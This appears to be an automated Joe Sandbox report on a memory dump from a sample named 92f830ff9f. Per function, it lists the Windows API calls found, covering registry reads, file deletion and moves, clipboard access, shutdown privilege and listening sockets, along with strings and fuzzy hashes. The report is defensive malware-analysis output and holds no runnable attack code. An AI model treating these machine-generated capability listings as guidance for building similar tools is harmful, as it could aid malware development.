Download Yara Rule

APIs

Part of subcall function 0066C998: CharUpperBuffW.USER32(?,?,?,?,?,?,?,0066B6AE,?,?), ref: 0066C9B5
Part of subcall function 0066C998: _wcslen.LIBCMT ref: 0066C9F1
Part of subcall function 0066C998: _wcslen.LIBCMT ref: 0066CA68
Part of subcall function 0066C998: _wcslen.LIBCMT ref: 0066CA9E

RegConnectRegistryW.ADVAPI32(?,?,?), ref: 0066BF3E
RegOpenKeyExW.ADVAPI32(?,?,00000000,?,?,?,?), ref: 0066BFA9
RegCloseKey.ADVAPI32(00000000), ref: 0066BFCD
RegQueryValueExW.ADVAPI32(?,?,00000000,?,00000000,?), ref: 0066C02C
RegQueryValueExW.ADVAPI32(?,?,00000000,00000000,?,00000008), ref: 0066C0E7
RegQueryValueExW.ADVAPI32(?,?,00000000,00000000,?,?,?,00000000), ref: 0066C154
RegQueryValueExW.ADVAPI32(?,?,00000000,00000000,?,?,?,00000000), ref: 0066C1E9
RegQueryValueExW.ADVAPI32(?,?,00000000,00000000,00000000,?,?,?,00000000), ref: 0066C23A
RegQueryValueExW.ADVAPI32(?,?,00000000,00000000,?,?,?,00000000), ref: 0066C2E3
RegCloseKey.ADVAPI32(?,?,00000000), ref: 0066C382
RegCloseKey.ADVAPI32(00000000), ref: 0066C38F

Memory Dump Source

Source File: 0000000B.00000002.2788050822.00000000005E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 005E0000, based on PE: true

Associated: 0000000B.00000002.2787852124.00000000005E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2789473046.000000000067C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2789473046.00000000006A2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2790208799.00000000006AC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2790967439.00000000006B4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_5e0000_92f830ff9f.jbxd

Similarity

API ID: QueryValue$Close_wcslen$BuffCharConnectOpenRegistryUpper
String ID:
API String ID: 3102970594-0
Opcode ID: 759db0274bb41c93ea5b8122bc4089f170c99f209d491d17583b038e1d2f9040
Instruction ID: 779e9065598571d44ff4e82398343267ec3a9f8ab300ef17a79341e939444952
Opcode Fuzzy Hash: 759db0274bb41c93ea5b8122bc4089f170c99f209d491d17583b038e1d2f9040
Instruction Fuzzy Hash: 53025D706046419FC714CF24C895E2ABBE5BF89314F18849DF88ADB3A2D731ED46CB91

Function 00658195 Relevance: 15.9, APIs: 8, Strings: 1, Instructions: 186timeCOMMON

Download Yara Rule

APIs

GetLocalTime.KERNEL32(?), ref: 00658257
SystemTimeToFileTime.KERNEL32(?,?), ref: 00658267
LocalFileTimeToFileTime.KERNEL32(?,?), ref: 00658273
GetCurrentDirectoryW.KERNEL32(00007FFF,?), ref: 00658310
SetCurrentDirectoryW.KERNEL32(?), ref: 00658324
SetCurrentDirectoryW.KERNEL32(?), ref: 00658356
SetCurrentDirectoryW.KERNEL32(?,?,?,?,?), ref: 0065838C
SetCurrentDirectoryW.KERNEL32(?), ref: 00658395

Strings

*.*, xrefs: 0065839B

Memory Dump Source

Source File: 0000000B.00000002.2788050822.00000000005E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 005E0000, based on PE: true

Associated: 0000000B.00000002.2787852124.00000000005E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2789473046.000000000067C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2789473046.00000000006A2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2790208799.00000000006AC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2790967439.00000000006B4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_5e0000_92f830ff9f.jbxd

Similarity

API ID: CurrentDirectoryTime$File$Local$System
String ID: *.*
API String ID: 1464919966-438819550
Opcode ID: 106ae4c2e2620c5427259dc5974428693d94eb7db133721eb31617374b2b84e1
Instruction ID: e61195a678700996ace16fef09a4090857f54d7eda8bfa040ff131e331f15a1d
Opcode Fuzzy Hash: 106ae4c2e2620c5427259dc5974428693d94eb7db133721eb31617374b2b84e1
Instruction Fuzzy Hash: C46189725043459FCB14EF60C8449AFB7EAFF89311F04881EF99997251EB31EA49CB92

Function 0064D076 Relevance: 14.2, APIs: 7, Strings: 1, Instructions: 172fileCOMMON

Download Yara Rule

APIs

Part of subcall function 005E3AA2: GetFullPathNameW.KERNEL32(?,00007FFF,?,00000000,?,?,005E3A97,?,?,005E2E7F,?,?,?,00000000), ref: 005E3AC2

Part of subcall function 0064E199: GetFileAttributesW.KERNEL32(?,0064CF95), ref: 0064E19A

FindFirstFileW.KERNEL32(?,?), ref: 0064D122
DeleteFileW.KERNEL32(?,?,?,?,?,00000000,?,?,?), ref: 0064D1DD
MoveFileW.KERNEL32(?,?), ref: 0064D1F0
DeleteFileW.KERNEL32(?,?,?,?), ref: 0064D20D
FindNextFileW.KERNEL32(00000000,00000010), ref: 0064D237

Part of subcall function 0064D29C: CopyFileExW.KERNEL32(?,?,00000000,00000000,00000000,00000008,?,?,0064D21C,?,?), ref: 0064D2B2

FindClose.KERNEL32(00000000,?,?,?), ref: 0064D253
FindClose.KERNEL32(00000000), ref: 0064D264

Strings

\*.*, xrefs: 0064D0CD, 0064D0D6, 0064D0EB

Memory Dump Source

Source File: 0000000B.00000002.2788050822.00000000005E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 005E0000, based on PE: true

Associated: 0000000B.00000002.2787852124.00000000005E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2789473046.000000000067C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2789473046.00000000006A2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2790208799.00000000006AC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2790967439.00000000006B4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_5e0000_92f830ff9f.jbxd

Similarity

API ID: File$Find$CloseDelete$AttributesCopyFirstFullMoveNameNextPath
String ID: \*.*
API String ID: 1946585618-1173974218
Opcode ID: d81d7e9e99233db45aee69df60f8d0aa6c06fa08fbcae745e616148281297eed
Instruction ID: d01d865eed7c769c762d0e96e558d31ff7c0c789984ea8e0aa4f73483ec94b2e
Opcode Fuzzy Hash: d81d7e9e99233db45aee69df60f8d0aa6c06fa08fbcae745e616148281297eed
Instruction Fuzzy Hash: E1618E31C0514E9BCF19EBE1C9969EEBBB6BF95300F204069E445771A2EB316F49CB60

Function 0065ED6A Relevance: 13.6, APIs: 9, Instructions: 102clipboardmemoryCOMMON

Download Yara Rule

APIs

OpenClipboard.USER32 ref: 0065ED91
EmptyClipboard.USER32 ref: 0065ED97
GlobalAlloc.KERNEL32(00000002,?), ref: 0065EDAC
CloseClipboard.USER32 ref: 0065EEA3

Memory Dump Source

Source File: 0000000B.00000002.2788050822.00000000005E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 005E0000, based on PE: true

Associated: 0000000B.00000002.2787852124.00000000005E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2789473046.000000000067C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2789473046.00000000006A2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2790208799.00000000006AC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2790967439.00000000006B4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_5e0000_92f830ff9f.jbxd

Similarity

API ID: Clipboard$AllocCloseEmptyGlobalOpen
String ID:
API String ID: 1737998785-0
Opcode ID: b8e397a952cb339b28119c8bf4efb03352d7dbea200631202dc286f4b496b9a8
Instruction ID: 018c0c958585259f46a927d14bfba391d680b52a8d1eeabba23fd15130e409f1
Opcode Fuzzy Hash: b8e397a952cb339b28119c8bf4efb03352d7dbea200631202dc286f4b496b9a8
Instruction Fuzzy Hash: 9241E330204611AFDB18CF15D889B59BBE2FF44329F14C09DE8298B762C736ED82CB80

Function 0064E8F6 Relevance: 12.3, APIs: 3, Strings: 4, Instructions: 57shutdownCOMMON

Download Yara Rule

APIs

Part of subcall function 006416C3: LookupPrivilegeValueW.ADVAPI32(00000000,00000000,00000004), ref: 0064170D
Part of subcall function 006416C3: AdjustTokenPrivileges.ADVAPI32(?,00000000,00000000,?,00000000,?), ref: 0064173A
Part of subcall function 006416C3: GetLastError.KERNEL32 ref: 0064174A

ExitWindowsEx.USER32(?,00000000), ref: 0064E932

Strings

, xrefs: 0064E95C
SeShutdownPrivilege, xrefs: 0064E902
, xrefs: 0064E920
@, xrefs: 0064E925

Memory Dump Source

Source File: 0000000B.00000002.2788050822.00000000005E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 005E0000, based on PE: true

Associated: 0000000B.00000002.2787852124.00000000005E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2789473046.000000000067C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2789473046.00000000006A2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2790208799.00000000006AC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2790967439.00000000006B4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_5e0000_92f830ff9f.jbxd

Similarity

API ID: AdjustErrorExitLastLookupPrivilegePrivilegesTokenValueWindows
String ID: $ $@$SeShutdownPrivilege
API String ID: 2234035333-3163812486
Opcode ID: 14b14430fa06db3c5a7af5c63d3b2a79b89379c11679b6f10431cdf0d3aecb15
Instruction ID: 16e1595898303a5bcd04bb3217e408b5b9adc66ef3e59c7ee0e8fea7da7fde74
Opcode Fuzzy Hash: 14b14430fa06db3c5a7af5c63d3b2a79b89379c11679b6f10431cdf0d3aecb15
Instruction Fuzzy Hash: 7B01F973610211AFEB6466B49C86FFF729EB714751F151825FD13E22D2D6A25C8082E4

Function 00661204 Relevance: 12.1, APIs: 8, Instructions: 113networkCOMMON

Download Yara Rule

APIs

socket.WSOCK32(00000002,00000001,00000006,?,00000002,00000000), ref: 00661276
WSAGetLastError.WSOCK32 ref: 00661283
bind.WSOCK32(00000000,?,00000010), ref: 006612BA
WSAGetLastError.WSOCK32 ref: 006612C5
closesocket.WSOCK32(00000000), ref: 006612F4
listen.WSOCK32(00000000,00000005), ref: 00661303
WSAGetLastError.WSOCK32 ref: 0066130D
closesocket.WSOCK32(00000000), ref: 0066133C

Memory Dump Source

Source File: 0000000B.00000002.2788050822.00000000005E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 005E0000, based on PE: true

Associated: 0000000B.00000002.2787852124.00000000005E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2789473046.000000000067C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2789473046.00000000006A2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2790208799.00000000006AC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2790967439.00000000006B4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_5e0000_92f830ff9f.jbxd

Similarity

API ID: ErrorLast$closesocket$bindlistensocket
String ID:
API String ID: 540024437-0
Opcode ID: bef2eea29aaba7057b71d62d0b2a7ce52897ef1fed11c129ddcb82c32b691b40
Instruction ID: 4df2497bea3f833e151461c9e8f8b4405cdcb7a04a845948ce44bb201d30e355
Opcode Fuzzy Hash: bef2eea29aaba7057b71d62d0b2a7ce52897ef1fed11c129ddcb82c32b691b40
Instruction Fuzzy Hash: 27416F31A001419FD714DF64C498B6ABBE6BF86328F1C819CD8569F396C771ED82CBA1

Function 0061B952 Relevance: 10.9, APIs: 7, Instructions: 370timeCOMMONLIBRARYCODE

Download Yara Rule

APIs

_free.LIBCMT ref: 0061B9D4
_free.LIBCMT ref: 0061B9F8
_free.LIBCMT ref: 0061BB7F
GetTimeZoneInformation.KERNEL32(?,00000000,00000000,00000000,?,00683700), ref: 0061BB91
WideCharToMultiByte.KERNEL32(00000000,00000000,006B121C,000000FF,00000000,0000003F,00000000,?,?), ref: 0061BC09
WideCharToMultiByte.KERNEL32(00000000,00000000,006B1270,000000FF,?,0000003F,00000000,?), ref: 0061BC36
_free.LIBCMT ref: 0061BD4B

Memory Dump Source

Source File: 0000000B.00000002.2788050822.00000000005E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 005E0000, based on PE: true

Associated: 0000000B.00000002.2787852124.00000000005E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2789473046.000000000067C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2789473046.00000000006A2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2790208799.00000000006AC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2790967439.00000000006B4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_5e0000_92f830ff9f.jbxd

Similarity

API ID: _free$ByteCharMultiWide$InformationTimeZone
String ID:
API String ID: 314583886-0
Opcode ID: 9e1b6dbc4f1d917add39e1b2e4e5f20cf5c12d7ea089047680e85b511901b18a
Instruction ID: ff91e2800e1484de4349751ee2db9dd706106a0c5b8256b8bc75428678d1ee0e
Opcode Fuzzy Hash: 9e1b6dbc4f1d917add39e1b2e4e5f20cf5c12d7ea089047680e85b511901b18a
Instruction Fuzzy Hash: 79C12771904205AFCB249F69D851AEA7BBBEF42310F1C619EE490DB351DB309EC28B94

Function 0064D3A9 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 91fileCOMMON

Download Yara Rule

APIs

Part of subcall function 005E3AA2: GetFullPathNameW.KERNEL32(?,00007FFF,?,00000000,?,?,005E3A97,?,?,005E2E7F,?,?,?,00000000), ref: 005E3AC2

Part of subcall function 0064E199: GetFileAttributesW.KERNEL32(?,0064CF95), ref: 0064E19A

FindFirstFileW.KERNEL32(?,?), ref: 0064D420
DeleteFileW.KERNEL32(?,?,?,?), ref: 0064D470
FindNextFileW.KERNEL32(00000000,00000010), ref: 0064D481
FindClose.KERNEL32(00000000), ref: 0064D498
FindClose.KERNEL32(00000000), ref: 0064D4A1

Strings

\*.*, xrefs: 0064D3F2

Memory Dump Source

Source File: 0000000B.00000002.2788050822.00000000005E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 005E0000, based on PE: true

Associated: 0000000B.00000002.2787852124.00000000005E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2789473046.000000000067C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2789473046.00000000006A2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2790208799.00000000006AC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2790967439.00000000006B4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_5e0000_92f830ff9f.jbxd

Similarity

API ID: FileFind$Close$AttributesDeleteFirstFullNameNextPath
String ID: \*.*
API String ID: 2649000838-1173974218
Opcode ID: 4d635e2390e09632c5a2c52a5ebdb9811b2924b89c763eaaebffbf58bfdbeb67
Instruction ID: 22ef79de3878e2dc9913024521a71a792f35f5562f5720ba4b1441f9fc3052d4
Opcode Fuzzy Hash: 4d635e2390e09632c5a2c52a5ebdb9811b2924b89c763eaaebffbf58bfdbeb67
Instruction Fuzzy Hash: E63170314083829BC308EF65C8558AF7BE9BED5314F444E1DF4D5932A1EB20AA49CB63

Function 0061E4FF Relevance: 10.1, APIs: 1, Strings: 4, Instructions: 1381COMMON

Download Yara Rule

APIs

__floor_pentium4.LIBCMT ref: 0061E645

Strings

1#IND, xrefs: 0061F83D
1#INF, xrefs: 0061F852
1#SNAN, xrefs: 0061F844
1#QNAN, xrefs: 0061F84B

Memory Dump Source

Source File: 0000000B.00000002.2788050822.00000000005E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 005E0000, based on PE: true

Associated: 0000000B.00000002.2787852124.00000000005E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2789473046.000000000067C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2789473046.00000000006A2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2790208799.00000000006AC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2790967439.00000000006B4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_5e0000_92f830ff9f.jbxd

Similarity

API ID: __floor_pentium4
String ID: 1#IND$1#INF$1#QNAN$1#SNAN
API String ID: 4168288129-2761157908
Opcode ID: ac2b2f96103a44d4bddda5ca6d04fd31b04d442125afb8124e28c3f6a5f18a43
Instruction ID: 0bcb0b891b8d63ca2755fbfbc4fa92b258759573225e9ae9ff72f2041b21797f
Opcode Fuzzy Hash: ac2b2f96103a44d4bddda5ca6d04fd31b04d442125afb8124e28c3f6a5f18a43
Instruction Fuzzy Hash: F2C23B71E046298FDB65CF289D407EAB7B6EB44305F1841EAD84DE7281E775AEC18F40

Function 0065648E Relevance: 9.1, APIs: 4, Strings: 1, Instructions: 367comCOMMON

Download Yara Rule

APIs

_wcslen.LIBCMT ref: 006564DC
CoInitialize.OLE32(00000000), ref: 00656639
CoCreateInstance.OLE32(0067FCF8,00000000,00000001,0067FB68,?), ref: 00656650
CoUninitialize.OLE32 ref: 006568D4

Strings

.lnk, xrefs: 006564BA, 00656524, 006565E0

Memory Dump Source

Source File: 0000000B.00000002.2788050822.00000000005E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 005E0000, based on PE: true

Associated: 0000000B.00000002.2787852124.00000000005E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2789473046.000000000067C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2789473046.00000000006A2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2790208799.00000000006AC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2790967439.00000000006B4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_5e0000_92f830ff9f.jbxd

Similarity

API ID: CreateInitializeInstanceUninitialize_wcslen
String ID: .lnk
API String ID: 886957087-24824748
Opcode ID: 048a90f170f1f89e15e543fa458108518153311aee94524533bd76af8dd45356
Instruction ID: f2329dc14018c29a49314ba794d4b7c2ed04184bbdbc55c31bc0d39ff6ab48c5
Opcode Fuzzy Hash: 048a90f170f1f89e15e543fa458108518153311aee94524533bd76af8dd45356
Instruction Fuzzy Hash: 2AD169715082419FC314EF24C8859ABBBE9FFD8304F40496DF5958B2A1EB30EE49CB92

Function 006622DA Relevance: 9.1, APIs: 6, Instructions: 103COMMON

Download Yara Rule

APIs

GetForegroundWindow.USER32(?,?,00000000), ref: 006622E8

Part of subcall function 0065E4EC: GetWindowRect.USER32(?,?), ref: 0065E504

GetDesktopWindow.USER32 ref: 00662312
GetWindowRect.USER32(00000000), ref: 00662319
mouse_event.USER32(00008001,?,?,00000002,00000002), ref: 00662355
GetCursorPos.USER32(?), ref: 00662381
mouse_event.USER32(00008001,?,?,00000000,00000000), ref: 006623DF

Memory Dump Source

Source File: 0000000B.00000002.2788050822.00000000005E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 005E0000, based on PE: true

Associated: 0000000B.00000002.2787852124.00000000005E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2789473046.000000000067C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2789473046.00000000006A2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2790208799.00000000006AC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2790967439.00000000006B4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_5e0000_92f830ff9f.jbxd

Similarity

API ID: Window$Rectmouse_event$CursorDesktopForeground
String ID:
API String ID: 2387181109-0
Opcode ID: 0f05ed118ec4a232c5385f1ac42f53c83b41379948ada350f03c43fe546c2acf
Instruction ID: 93d9971710887c5ee1badf0a662f334a09a8ef4d251a86cff15e6c001f9c6dfd
Opcode Fuzzy Hash: 0f05ed118ec4a232c5385f1ac42f53c83b41379948ada350f03c43fe546c2acf
Instruction Fuzzy Hash: 6131E272505716AFD724DF54C845B9BBBAAFF84320F00091DF989A7281DB35EA48CB92

Function 00659B2B Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 119filesleepCOMMON

Download Yara Rule

APIs

Part of subcall function 005E9CB3: _wcslen.LIBCMT ref: 005E9CBD

FindFirstFileW.KERNEL32(00000001,?,*.*,?,?,00000000,00000000), ref: 00659B78
FindClose.KERNEL32(00000000,?,00000000,00000000), ref: 00659C8B

Part of subcall function 00653874: GetInputState.USER32 ref: 006538CB
Part of subcall function 00653874: PeekMessageW.USER32(?,00000000,00000000,00000000,00000001), ref: 00653966

Sleep.KERNEL32(0000000A,?,00000000,00000000), ref: 00659BA8
FindNextFileW.KERNEL32(?,?,?,00000000,00000000), ref: 00659C75

Strings

*.*, xrefs: 00659B5D

Memory Dump Source

Source File: 0000000B.00000002.2788050822.00000000005E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 005E0000, based on PE: true

Associated: 0000000B.00000002.2787852124.00000000005E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2789473046.000000000067C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2789473046.00000000006A2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2790208799.00000000006AC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2790967439.00000000006B4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_5e0000_92f830ff9f.jbxd

Similarity

API ID: Find$File$CloseFirstInputMessageNextPeekSleepState_wcslen
String ID: *.*
API String ID: 1972594611-438819550
Opcode ID: 3a0c6ec318993ac64b191d4f12107474b01546f9a1da684fc6184f2d60e681ee
Instruction ID: e5c6f7fc03d9f4852815d1d16e1240e267ebfc9a80ed81ef5844e217e2733e5c
Opcode Fuzzy Hash: 3a0c6ec318993ac64b191d4f12107474b01546f9a1da684fc6184f2d60e681ee
Instruction Fuzzy Hash: 3941517190420ADFDF58DF64C849AEE7BBAFF45311F244159F805A2291EB309E89CF60

Function 005F997D Relevance: 7.9, APIs: 5, Instructions: 375COMMON

Download Yara Rule

APIs

Part of subcall function 005F9BA1: GetWindowLongW.USER32(00000000,000000EB), ref: 005F9BB2

DefDlgProcW.USER32(?,?,?,?,?), ref: 005F9A4E
GetSysColor.USER32(0000000F), ref: 005F9B23
SetBkColor.GDI32(?,00000000), ref: 005F9B36

Memory Dump Source

Source File: 0000000B.00000002.2788050822.00000000005E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 005E0000, based on PE: true

Associated: 0000000B.00000002.2787852124.00000000005E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2789473046.000000000067C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2789473046.00000000006A2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2790208799.00000000006AC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2790967439.00000000006B4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_5e0000_92f830ff9f.jbxd

Similarity

API ID: Color$LongProcWindow
String ID:
API String ID: 3131106179-0
Opcode ID: 99cdccadf115b3c42afe6bc076c04d83cc0610eebc402a13ac429beea06491cb
Instruction ID: ece32333188b73f13ccf45392a048395943f461de088ee049823d34f6a306184
Opcode Fuzzy Hash: 99cdccadf115b3c42afe6bc076c04d83cc0610eebc402a13ac429beea06491cb
Instruction Fuzzy Hash: DEA121F0108848BFE738AA3C8C59FBB2D9FFB83350F154509F652C6695CA299D41D2B5

Function 00661806 Relevance: 7.7, APIs: 5, Instructions: 153networkCOMMON

Download Yara Rule

APIs

Part of subcall function 0066304E: inet_addr.WSOCK32(?,?,?,?,?,00000000), ref: 0066307A
Part of subcall function 0066304E: _wcslen.LIBCMT ref: 0066309B

socket.WSOCK32(00000002,00000002,00000011,?,?,00000000), ref: 0066185D
WSAGetLastError.WSOCK32 ref: 00661884
bind.WSOCK32(00000000,?,00000010), ref: 006618DB
WSAGetLastError.WSOCK32 ref: 006618E6
closesocket.WSOCK32(00000000), ref: 00661915

Memory Dump Source

Source File: 0000000B.00000002.2788050822.00000000005E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 005E0000, based on PE: true

Associated: 0000000B.00000002.2787852124.00000000005E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2789473046.000000000067C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2789473046.00000000006A2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2790208799.00000000006AC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2790967439.00000000006B4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_5e0000_92f830ff9f.jbxd

Similarity

API ID: ErrorLast$_wcslenbindclosesocketinet_addrsocket
String ID:
API String ID: 1601658205-0
Opcode ID: 10858f898bbc1a6bb722287a3ee05419be4819342666eaa0ab4c6d8cc62f610d
Instruction ID: c996e8ca1333c438d9206a9d8ba1d94c3d9265711a27f6f9f63b45a40cbdbdfa
Opcode Fuzzy Hash: 10858f898bbc1a6bb722287a3ee05419be4819342666eaa0ab4c6d8cc62f610d
Instruction Fuzzy Hash: AF51C571A002009FDB14EF24C88AF6A7BE6AB85718F08845CF9555F3C3D775ED418BA1

Function 00671C41 Relevance: 7.6, APIs: 5, Instructions: 83windowCOMMON

Download Yara Rule

APIs

IsWindowVisible.USER32 ref: 00671CC0
IsWindowEnabled.USER32 ref: 00671CCE
GetForegroundWindow.USER32(?,?,00000001,?), ref: 00671CDB
IsIconic.USER32 ref: 00671CE9
IsZoomed.USER32 ref: 00671CF7

Memory Dump Source

Source File: 0000000B.00000002.2788050822.00000000005E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 005E0000, based on PE: true

Associated: 0000000B.00000002.2787852124.00000000005E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2789473046.000000000067C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2789473046.00000000006A2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2790208799.00000000006AC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2790967439.00000000006B4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_11_2_5e0000_92f830ff9f.jbxd

Similarity

API ID: Window$EnabledForegroundIconicVisibleZoomed
String ID:
API String ID: 292994002-0
Opcode ID: 9c012939170a382a06e92e68485894321e2ffd0a315589d942622a5a2e7c9768
Instruction ID: 0f0ea23c1f888fcfa21030defa37a3255b6602d6547d729d3498133d1f3ae37f
Opcode Fuzzy Hash: 9c012939170a382a06e92e68485894321e2ffd0a315589d942622a5a2e7c9768
Instruction Fuzzy Hash: CF21B1317402015FD7258F6EC894B6A7BA6AF86324B19C05EE84E8F352CB75DC42CB90

Function 005E8060 Relevance: 7.4, Strings: 5, Instructions: 1151COMMON

Download Yara Rule

Strings

ERCP, xrefs: 005E813C
VUUU, xrefs: 005E83E8
VUUU, xrefs: 00625DF0
VUUU, xrefs: 005E843C
VUUU, xrefs: 005E83FA

Memory Dump Source

Source File: 0000000B.00000002.2788050822.00000000005E1000.00000020.00000001.01000000.0000000C.sdmp, Offset: 005E0000, based on PE: true

Associated: 0000000B.00000002.2787852124.00000000005E0000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2789473046.000000000067C000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2789473046.00000000006A2000.00000002.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2790208799.00000000006AC000.00000004.00000001.01000000.0000000C.sdmpDownload File
Associated: 0000000B.00000002.2790967439.00000000006B4000.00000002.00000001.01000000.0000000C.sdmpDownload File

Joe Sandbox IDA Plugin

